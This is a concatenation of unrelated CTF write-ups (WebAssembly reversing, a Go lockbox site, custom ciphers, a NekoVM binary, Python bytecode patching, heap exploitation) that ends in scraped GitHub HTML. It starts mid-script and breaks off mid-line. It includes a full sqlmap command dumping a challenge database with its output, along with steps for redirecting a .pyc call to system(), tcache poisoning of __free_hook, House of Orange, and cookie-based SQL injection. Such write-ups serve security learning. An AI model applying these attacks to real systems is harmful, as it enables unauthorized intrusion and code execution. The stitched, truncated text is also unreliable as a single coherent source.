buf = data[ix:STOP] for r in r_list: if r == "\x00": continue diff = buf.count(r) + 1 x = (diff + ord(r)) & 0xFF if x not in b64alpha: if 0 > (x - len(printable)): x += len(printable) else: x -= len(printable) if x not in b64alpha: print(x, ix, STOP, len(data), (diff + ord(r))) assert False b64buf += chr(x)
ix = STOP + 1
with open("decodeme.png", "wb") as fd: fd.write(b64buf.decode('base-64'))```
# Inwasmble (200p) [web]
We've given a link to an HTML site, where we're greeted by this box:

At first glance, the code seems to contain nothing

but opening it in a text editor, reveals that it contains a ton of unicode letters that take up no space. The code actually looks like this:
```javascriptvar code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x05, 0x03, 0x01, 0x00, 0x01, 0x07, 0x15, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x08, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x00, 0x00, 0x0a, 0x87, 0x01, 0x01, 0x84, 0x01, 0x01, 0x04, 0x7f, 0x41, 0x00, 0x21, 0x00, 0x02, 0x40, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x41, 0x20, 0x46, 0x0d, 0x01, 0x41, 0x02, 0x21, 0x02, 0x41, 0x00, 0x21, 0x01, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x20, 0x01, 0x46, 0x0d, 0x01, 0x20, 0x01, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6c, 0x21, 0x02, 0x20, 0x01, 0x41, 0x01, 0x6a, 0x21, 0x01, 0x0c, 0x00, 0x0b, 0x0b, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x20, 0x02, 0x41, 0x01, 0x6a, 0x36, 0x02, 0x00, 0x20, 0x00, 0x2d, 0x00, 0x00, 0x20, 0x00, 0x41, 0x80, 0x01, 0x6a, 0x2d, 0x00, 0x00, 0x73, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x2d, 0x00, 0x00, 0x47, 0x0d, 0x02, 0x20, 0x00, 0x41, 0x01, 0x6a, 0x21, 0x00, 0x0c, 0x00, 0x0b, 0x0b, 0x41, 0x01, 0x0f, 0x0b, 0x41, 0x00, 0x0b, 0x0b, 0x27, 0x01, 0x00, 0x41, 0x80, 0x01, 0x0b, 0x20, 0x4a, 0x6a, 0x5b, 0x60, 0xa0, 0x64, 0x92, 0x7d, 0xcf, 0x42, 0xeb, 0x46, 0x00, 0x17, 0xfd, 0x50, 0x31, 0x67, 0x1f, 0x27, 0x76, 0x77, 0x4e, 0x31, 0x94, 0x0e, 0x67, 0x03, 0xda, 0x19, 0xbc, 0x51]);var wa = new WebAssembly.Instance(new WebAssembly.Module(code));var buf = new Uint8Array(wa.exports.memory.buffer);async function go() { sizes = [...[...Array(4)].keys()].map(x => x * 128); buf.set(x.value.substr(sizes[0], sizes[1]) .padEnd(sizes[1]) .split('') .map(x => x.charCodeAt(''))); if (wa.exports.validate()) { hash = await window.crypto.subtle.digest("SHA-1", buf.slice(sizes[2], sizes[3])); r.innerText = "\uD83D\uDEA9 flag-" + [...new Uint8Array(hash)].map(x => x.toString(16)) .join(''); } else { r.innerHTML = x.value == "" ? " " : "\u26D4"; }}```
which, after running it through `wasm2js` from [binaryen](https://github.com/WebAssembly/binaryen), looks more like this
```javascriptfunction $0() { var $i = 0, $1 = 0, $2 = 0; $i = 0; label$1 : { label$2 : { label$3 : while (1) { if (($i) == (32)) { break label$2 } $2 = 2; $1 = 0; label$4 : { label$5 : while (1) { if (($i) == ($1)) { break label$4 } $2 = Math_imul(HEAP32[(Math_imul($1, 4) + 256) >> 2], $2); $1 = $1 + 1; continue label$5; }; } HEAP32[(Math_imul($i, 4) + 256) >> 2] = $2 + 1; if (((HEAPU8[$i]) ^ (HEAPU8[($i + 128)])) != (HEAPU8[(Math_imul($i, 4) + 256)])) { break label$1 } $i = $i + 1; continue label$3; }; } return 1; } return 0; }```
where the global buffer at index 128 is set to the string of "SmpbYKBkkn3PQutGABf9UDFnHyd2d04xlA5nA9oZvFE=" (after base64 decoding).
A simple Python equivalent, which totally doesn't have an overflow that makes it super slow to run, can be seen here:
```pythonbuffer = [0] * 65536buf_128 = "SmpbYKBkkn3PQutGABf9UDFnHyd2d04xlA5nA9oZvFE=".decode('base-64')
i, var1, var2 = 0, 0, 0flag = ""
while True: if i == 32: break var2 = 2 var1 = 0 while True: if i == var1: break var2 = buffer[(var1*4+256)>>2] * var2 var1 += 1 buffer[(i*4+256)>>2] = var2 + 1 flag += chr(((var2 + 1) ^ ord(buf_128[i])) & 0xFF) i += 1 print(flag)```
this eventually prints out `Impossible is for the unwilling.`, and entering this into the box gives our flag.

# Lockbox (600p) [go, web]
We're given an image with the URL `https://lockbox-6ebc413cec10999c.squarectf.com/?id=3` on it, and the source code to a Golang website for storing time-locked secrets. To upload a secret, you need to enter a time when your message should be decryptable, and a captcha. When you want to read a message, you need to provide both the id and the hmac of the data, and the current server time must be greater than the given timelock time. The crypto and time check alone seem good enough, and there's no glaring vulnerabilities there we can immediately use. (They are using a very bad IV, and not verifying the consistency of all the parameters together, but we can't get to the key or trick the server time into being anything else).
However, the captcha is generated in your session, but instead of giving the letters to you, they give them in an encrypted form. The `/captcha` end-point is able to decrypt this captcha message, and display it to you. So the end-point is basically a decryption oracle. If we can obtain an encrypted message, we can decrypt it with the captcha oracle, and by increasing the width parameter we can see all the letters in the output.
The `id` parameter is also being used directly inside an SQL query with no attempts at sanitation, and exploiting this is trivial. For maximum ease, I just used sqlmap for this, and the final command looked like this
`$ python sqlmap.py -o -u "https://lockbox-6ebc413cec10999c.squarectf.com/?id=3" --random-agent -D primary_app_db -T texts --dump`
```+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+| id | data | lock |+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+| 1 | TIJlneBxX-6sr4kUQdw0idCcoDh-t0lj5fU9e3cgU_gmLOZ96NrvxRe32o0wWrPJsv_66ACUTgPL_ewvHxMvOn2AGZl2opQO15rOjfkiw1lAEzhtK62J2Ce3T-SyzCpzSPSwQM6OdoF9HeZCH_xqFg | 1570492800 || 2 | P2HVNdfiXhJVnbjE70yqC2fLS8Cez0bxvfoDfDn5FRo8nAVU_R5ZTblcj5CgLw_qtM_D3zgWElLmeFqIGZwq49kgI-rvlR_tKXmFMVGbkVaTeEy6V0JM9EiRthnlIEjAq_L8Qs9WTBWZ2nzZrs57Mw | 1570665600 || 3 | Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ | 1602288000 |+----+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+```
decrypting it can be done by entering message 3 like `https://lockbox-6ebc413cec10999c.squarectf.com/captcha?w=700&c=Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ` and we get the flag as an image:

# Go cipher (1000p) [go, not web]We are given a piece of Golang code, and a bunch of ciphertext/plaintext pairs. The flag ciphertext has no plaintext component, and all ciphertexts are in hex form. Going through the code, there are a few things to notice:
1. The md5sum of the key is written at the start of each ciphertext. The only ciphertext that has a key match with the flag, is "story4.txt.enc".2. The key consists of 3 64-bit numbers; x, y and z.3. Our output is simply `(input - x) ^ y ^ z` where the lowest 8 bits of x/y/z are used.4. x is bitwise rotated 1 step to the right, and y/z are both rotated 1 step to the left. This means that y and z are shifting equally, and since the ouput is just XORed with both, we could replace them with k=y^z and treat it as a single number.
I used Z3 to recover some key that successfully encrypts `story4.txt` into the known bytes in `story4.txt.enc`. Getting the exact original key is not necessary.
```pythonfrom z3 import *
def rotl(num, bits): bit = num & (1 << (bits-1)) num <<= 1 if(bit): num |= 1 num &= (2**bits-1)
return num
def rotr(num, bits): num &= (2**bits-1) bit = num & 1 num >>= 1 if(bit): num |= (1 << (bits-1))
return num
x_org = BitVec("x", 64)y_org = BitVec("y", 64)z_org = BitVec("z", 64)
x, y, z = x_org, y_org, z_orgdata_enc = map(ord, open("story4.txt.enc").read()[32:].decode('hex'))data_dec = map(ord, open("story4.txt").read())
assert len(data_enc) == len(data_dec)
s = Solver()for i in xrange(len(data_dec)): s.add( ((data_dec[i] - (x&0xFF)) ^ (y&0xFF) ^ (z&0xFF)) &0xFF == data_enc[i]) x = RotateRight(x, 1) y = RotateLeft(y, 1) z = RotateLeft(z, 1)
if s.check() == sat: m = s.model() xx = m[x_org].as_long() yy = m[y_org].as_long() zz = m[z_org].as_long() flag_enc = map(ord, open("flag.txt.enc").read()[32:].decode('hex')) flag_dec = "" for e in flag_enc: flag_dec += chr( ((e ^ (yy&0xFF) ^ (zz&0xFF)) + xx&0xFF) & 0xFF ) xx=rotr(xx, 64) yy=rotl(yy, 64) zz=rotl(zz, 64) print(flag_dec)```
Prints `Yes, you did it! flag-742CF8ED6A2BF55807B14719`
# 20.pl (500p) [perl, cryptography]
Deobfuscating the script gives something like this```perl#!/usr/bin/perl
print( "usage: echo <plaintext|ciphertext> | $0 <key>" ) && exit unless scalar @ARGV;$/ = \1;use constant H => 128;@key = split "", $ARGV[0];for ( @a = [], $i = H ; $i-- ; $a[$i] = $i ) { }for ( $j = $i = 0 ; $i < H ; $i++ ) { $j += $a[$i] + ord $key[ $i % 16 ]; ( $a[$i], $a[ $j % H ] ) = ( $a[ $j % H ], $a[$i] );}
for ( $i = $j = $m = 0 ; <STDIN> ; print chr( ord $_ ^ $l ^ $m ) ) { $j += $a[ ++$i % H ]; ( $a[ $i % H ], $a[ $j % H ] ) = ( $a[ $j % H ], $a[ $i % H ] ); $l = $a[ ( $a[ $i % H ] + $a[ $j % H ] ) % H ]; $m = ( ord( $key[ $i / 64 % 16 ] ) << $i ) & 0xff; $x = $i / 64 % 16;} # -- Alok```
It initializes some array with values 0..128, then permutes that array based on the key (which is up to 16 bytes long). Finally, it continues to permute the array and XORs the input with elements from the array. This has all the hallmarks of RC4, except it doesn't operate on values up to 255. What this means, is that `$l` is never larger than 127, and thus the top bit of the input is never touched by XOR with `$l`. However, the input is also XORed with an `$m`, which contains a byte of the key, but shifted upwards.
Looking at the top bit of 8 consecutive bytes, will immediately give out one byte of the key, *provided that the original input was ASCII* - as printable ASCII does not have the top bit set either. Our target file is a PDF, which contain mixed ASCII parts and binary streams, and our goal is then to try to find a long enough stretch of ASCII that we can recover the key. I experimented a bit with various offsets into the code, and quickly learnt that the key was only hexadecimal letters. This narrowed the scope of candidate letters by quite a lot, and near the end of the PDF I was able to find something that decode into a key that worked.
```pythonimport operator
printable = "01234567890abcdef"
data = open("flag.pdf.enc","rb").read()
all_cands = [{} for _ in xrange(16)]
for block in range(700, len(data)//(64*16)): for i in xrange(16): cands = {} for j in xrange(8): keychar = "" for k in xrange(8): ix = (block*64*16) + i*64 + j*8 + k keychar += "1" if ord(data[ix])&0x80 else "0" c = chr(int(keychar, 2) >> 1) if c in printable: cands[c] = cands.get(c,0) + 1
for k, v in cands.iteritems(): all_cands[i][k] = all_cands[i].get(k,0) + v
key = ""
for cand in all_cands: sorted_cands = sorted(cand.iteritems(), key=operator.itemgetter(1), reverse=True) print(sorted_cands[:3]) key += sorted_cands[0][0]
print(key)```
Now we just run `cat flag.pdf.enc | perl5.20.1 20.pl 4600e0ca7e616da0 > flag.pdf` and we get the flag back. |
# TokyoWesterns CTF 2019 - Meow
* **Category:** reverse* **Points:** (dependant on solve time)
## Challenge
### DescriptionA 7zip archive was provided, along with an ASCII art picture of a cat.
### Filesmeow.7z
## Solution
The 7zip archive contained two files: * meow.n * flag_enc.png
The `meow.n` file was a [NekoVM](https://nekovm.org/) executable. Running it produced...
```andrew@WOPR /tmp/meow % neko meow.nUsage: meow INPUT OUTPUT```
When run with `flag_enc.png`, it produced a similarly broken image.
We couldn't immediatly find any tools for RE'ing NekoVM executables, so [@BaileyBelisario](https://github.com/BaileyBelisario) wrote a script to keep feeding the output image back in as input, saving each file along the way.
```bash#!/bin/bash
#neko meow.n flag_enc.png flag_dec0.png
for ((i = 1 ; i < 10000 ; i++)); do let k=$i-1 neko meow.n flag_dec$k.png flag_dec$i.pngdone```
Eventually, some of them started to look like a Nyan Cat image (although still severely broken). However even after several thousand iterations they never became clean enough to read.
### Iteration #2098
### Iteration #2108
On a whim I opened one in GIMP, and carefully deleted all of the incorrect pixels around the flag. To my suprise, it was just enough to make it readable!

### Flag
```TWCTF{Ny4nNyanNy4n_M30wMe0wMeow}``` |
## Misc - Need_some_flags_2
We are given a Python console application exposed via xinetd. It allows us todo four things:
* Option `0` (`writeflag`): three times only, write up to 0x30 characters into`flag` global variable as well as into a new file with a random name.* Option `1` (`editflag`): one time only, write 2 bytes into any file in theapplication directory (excluding `.py` files) at any offset.* Option `2` (`pushflag`): no-op, commented out.* Option `3` (`secretflag`): reload the `nonsecret` module and pass an arbitrarystring to the `printlist` function inside it.
`nonsecret.py` is trivial:
```import osdef printlist(path): print os.listdir(path)```
Which files can we edit with `editflag`? `.py` ones are locked down, random flagfiles are useless, and we cannot reference files outside of the currentdirectory. Initial import of the `nonsecret` module results in generation of`nonsecret.pyc`, and `secretflag` reloads it - so we can edit `nonsecret.pyc`.`.pyc` files with a fresher timestamp take precedence over older `.py` files - asource of constant frustration in daily life.
Let's disassemble the `nonsecret.pyc` with [python-xdis](https://github.com/rocky/python-xdis):
```$ pydisasm --show-bytes nonsecret.pyc``````# Method Name: <module>``````# Constants:# 0: -1# 1: None# 2: <xdis.code.Code2 object at 0x7fc9e252deb8># Names:# 0: os# 1: printlist 1: 0 |64 00 00| LOAD_CONST (-1) 3 |64 00 01| LOAD_CONST (None) 6 |6c 00 00| IMPORT_NAME (os) 9 |5a 00 00| STORE_NAME (os)
2: 12 |64 00 02| LOAD_CONST (<xdis.code.Code2 object at 0x7fc9e252deb8>) 15 |84 00 00| MAKE_FUNCTION 0 18 |5a 00 01| STORE_NAME (printlist) 21 |64 00 01| LOAD_CONST (None) 24 |53 | RETURN_VALUE``````# Method Name: printlist``````# Constants:# 0: None# Names:# 0: os# 1: listdir# Varnames:# path# Positional arguments:# path 3: 0 |74 00 00| LOAD_GLOBAL (os) 3 |6a 00 01| LOAD_ATTR (listdir) 6 |7c 00 00| LOAD_FAST (path) 9 |83 00 01| CALL_FUNCTION (1 positional, 0 named) 12 |47 | PRINT_ITEM 13 |48 | PRINT_NEWLINE 14 |64 00 00| LOAD_CONST (None) 17 |53 | RETURN_VALUE```
First guess - replace two-letter `os` module name with something else, e.g.`uu`. Unfortunately, there is no such module with a useful `listdir` function.Similarly, there doesn't seem to be a way to replace two consecutive letters in`listdir` function name to get a name of a useful function.
Second guess - patch the argument of `LOAD_ATTR` so that it ends up pointing to`system` instead of `listdir`. Inspecting [python2.7.15](https://github.com/python/cpython/tree/v2.7.15) code shows that [`LOAD_ATTR`](https://github.com/python/cpython/blob/v2.7.15/Python/ceval.c#L2551) does[`GETITEM`](https://github.com/python/cpython/blob/v2.7.15/Python/ceval.c#L833),which does no bounds checking in release builds. The `LOAD_ATTR` argument is[unsigned](https://github.com/python/cpython/blob/v2.7.15/Python/ceval.c#L883).So if we manage to find a `PyObject *` pointing to `system` string within`0x10000 * 8` bytes from [`names` tuple](https://github.com/python/cpython/blob/v2.7.15/Python/ceval.c#L1021), then weare good.
We could increase the chances of it appearing by passing `system` to`writeflag` (option `0`), since the value will be saved into a global variable`flag`, which will not be overwritten or garbage collected.
How to find the offset? Let's use gdb and catch the moment when the code calls`LOAD_ATTR` inside `printlist`. First, let's add a few things to the`Dockerfile` to enable debugging (it's important to have the same environmentas the actual server):
```RUN sed -i -e 's/^# deb-src /deb-src /g' /etc/apt/sources.listRUN apt-get updateRUN apt-get install dpkg-dev gdb python2.7-dbg -yRUN cd /usr/src && apt-get source python2.7```
Then rebuild the image and run it with `--privileged` flag to enable debugging(this is actually an overkill - something like `--cap-add=SYS_PTRACE--security-opt=apparmor:unconfined` might suffice, but it's so much longer):
```$ docker build -t need_some_flags_2 .$ docker run -it --rm -p 4869:4869 --privileged --name need_some_flags_2 need_some_flags_2$ docker exec -it need_some_flags_2 bash# cd /usr/src/python2.7-2.7.15/Python# gdb -p $(pidof python2.7)```
We can catch execution of any code in `nonsecret` module using the followingconditional breakpoint:
```(gdb) b PyEval_EvalFrameEx if (strcmp(PyDict_GetItemString(f->f_globals, "__name__")->ob_type->tp_name, "str") == 0) && (strcmp(PyString_AsString(PyDict_GetItemString(f->f_globals, "__name__"), 0), "nonsecret") == 0)```
Here we abuse invoking functions in the gdb inferior. We take a frame object andask for a `__name__` item of its globals dict. Sometimes it may be `None`, so wefirst check if it's a `str`, if yes, then we compare its value with `nonsecret`.This breakpoint fires only two times - for module initialization and for`printlist`. So we can skip it the first time, and then single-step to`LOAD_ATTR` case in the switch statement in the interpreter loop.
Unfortunately, debuginfo is not good enough and does not show the location of`names`, so after reaching `TARGET(LOAD_ATTR)` we need to issue a few `si`commands to position ourselves at `+1602`.
```2551 TARGET(LOAD_ATTR) 0x000056508de6136d <+1565>: lea 0x2(%r9),%rbp 0x000056508de61371 <+1569>: movzbl -0x1(%rbp),%eax 0x000056508de61375 <+1573>: movzbl -0x2(%rbp),%r14d 0x000056508de61383 <+1587>: mov %r9,(%rsp) 0x000056508de61387 <+1591>: shl $0x8,%eax 0x000056508de6138d <+1597>: add %r14d,%eax
2552 {2553 w = GETITEM(names, oparg); 0x000056508de6137a <+1578>: mov 0x30(%rsp),%r12 0x000056508de61390 <+1600>: cltq 0x000056508de61392 <+1602>: mov 0x18(%r12,%rax,8),%r14```
At this point, `%rax` is index (`1` in non-patched version) and `%r12` is`names`, `0x18` is python object header size, so `%r12 + 0x18` is the start ofthe array. Let's scan the memory and find the indices:
```(gdb) pythonimport structi = gdb.inferiors()[0]names_arr = <<<output of p/x $r12 + 0x18>>>PyString_Type = <<<output of p/x PyString_Type>>>for pp in range(names_arr, names_arr + 0x10000 * 8, 8): p, = struct.unpack(' |
AES-ABC is basically ECB and then some sequential addition of the data; the script also mods the intermediate results if it is too big. You can just reverse these operations to get the original ECB encrypted image; at that point, you will be able to distinguish what the picture is due to the nature of ECB. |
Use the rename function to get a heap leak. Use the rename function with a fastbin attack to get a libc leak by faking an unsorted chunk afterwards in the name section of BSS. Then, perform an House of Orange attack. |
Null byte overflow in glibc 2.29.
Use the null byte overflow to change a chunk's size after it's already been freed, which allows you to free it again into a different tcache bin.
Use this as a double free, then do a tcache poisoning attack to overwrite `__free_hook` with `system` for RCE. |
The [link](https://www.win.tue.nl/~aeb/linux/hh/hh-11.html) the hint provides us sort of leads us on the right track, but the program's malloc in this challenge is slightly different. Just following the tutorial's ideas will not work. I used it as my basis and found the differences in the way malloc behaves with gdb. Then, you can use shellcode to jump to the win function. |
Use the filter + base64 LFI method to leak source code. Then, we see that we can still force the application to deserialize the legacy version of the cookie, which is still vulnerable. With a sqli on the cookie, you can figure out the flag character by character. |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>picoCTF-2019/pwn/heap-overflow at master · redpwn/picoCTF-2019 · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="C91F:0D35:12AE42FE:132F2F4A:641223F5" data-pjax-transient="true"/><meta name="html-safe-nonce" content="d0c14e1cea576734b0bfeecdd427483e2152680457382071a214885501fa3cdf" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDOTFGOjBEMzU6MTJBRTQyRkU6MTMyRjJGNEE6NjQxMjIzRjUiLCJ2aXNpdG9yX2lkIjoiNjc2NjM1MjkyNzg5NDQxNDMyNSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="bc28c3b651c2c7f41323c8787a31ac22cddaad2da78471a05e1fff094ba49d57" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:211591085" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
